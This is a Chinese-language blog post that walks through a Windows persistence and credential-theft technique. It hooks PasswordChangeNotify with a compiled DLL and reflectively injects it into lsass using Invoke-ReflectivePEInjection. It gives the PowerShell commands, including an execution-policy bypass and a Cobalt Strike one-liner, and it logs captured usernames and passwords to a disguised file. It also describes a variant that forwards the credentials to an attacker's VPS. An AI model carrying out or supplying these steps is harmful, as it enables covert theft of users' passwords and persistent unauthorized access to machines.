您现在的位置是:首页 >技术杂谈 >权限维持-HOOK-DLL加载网站首页技术杂谈
权限维持-HOOK-DLL加载
前言
继续来研究关于权限维持的方法,这里希望与各位一起加油。
这里的HOOK其实指的就是Hook PasswordChangeNotify
其中PasswordChangeNotify是一个函数,如果修改的密码符合要求,那么PasswordChangeNotify在系统上同步更新密码,然后我们要做的就是将他的执行流定义到我们的PasswordChangeNotifyHook上面,所以讲到这里大家也明白了吧,我们是用他来获得主机修改的密码和用户名。
注:单机环境和域环境都可以使用
复现
1.整理工具
这里我们需要去把这两个下过来
https://github.com/clymb3r/Misc-Windows-Hacking
PowerShell/Invoke-ReflectivePEInjection.ps1 at master · clymb3r/PowerShell · GitHub
misc-windows-hacking下载好后,使用Visual Studio Install来编译他
然后我们要设置为在静态库中使用MFC,然后这里遇到了两个问题,可以参考
然后先别急着生成,我们先设置一下HookPasswordChage.cpp,这里他默认是将修改的账号密码保存到这里,这里修改一下,我是修改成c:\windows\.webconfig.log
然后这里记得选择
然后生成的文件会在这里
2.利用
使用本地
将HookPasswordChange.dll和Invoke-ReflectivePEInjection.ps1上传
直接执行就好了
注:需要在powershell中执行
Set-ExecutionPolicy bypass
Import-Module .Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
cs复现
首先将将HookPasswordChange.dll和Invoke-ReflectivePEInjection.ps1上传
至于为什么要这么搞,因为他是没有Invoke-ReflectivePEInjection这个命令的,需要我们导入然后呢,cs可不会让你这样一个个搞,所以我们只能三合一了。
shell powershell -ExecutionPolicy Bypass -Command "& {Set-ExecutionPolicy bypass; Import-Module .Invoke-ReflectivePEInjection.ps1; Invoke-ReflectivePEInjection -PEPath ./HookPasswordChange.dll -procname lsass}"
然后这里我们修改密码,然后去查看C:Windows.webconfig.log文件,可以看到我们更改的内容
升级puls版
既然我们上面说了,他是将修改密码的流量转发到文件中,假如他出网的话,那么我们为什么不能直接转发到我们的端口中,就算不出网,我们也能用一些机子做一些中转不就可以了。
这里我们看一下puls版本的,看到他这里只是加请求,下面可以写我们的vps的地址和设定的端口。
但是这时候发现他执行不成功,这是因为这个使用vs2022编译,机子是没有msvcp140.dall这个文件的,是一个硬伤,我尝试将本机msvcp140.dll,上传到他的system32目录中,但还是不行,这个问题我暂时没有解决,所以呢,算是提一嘴。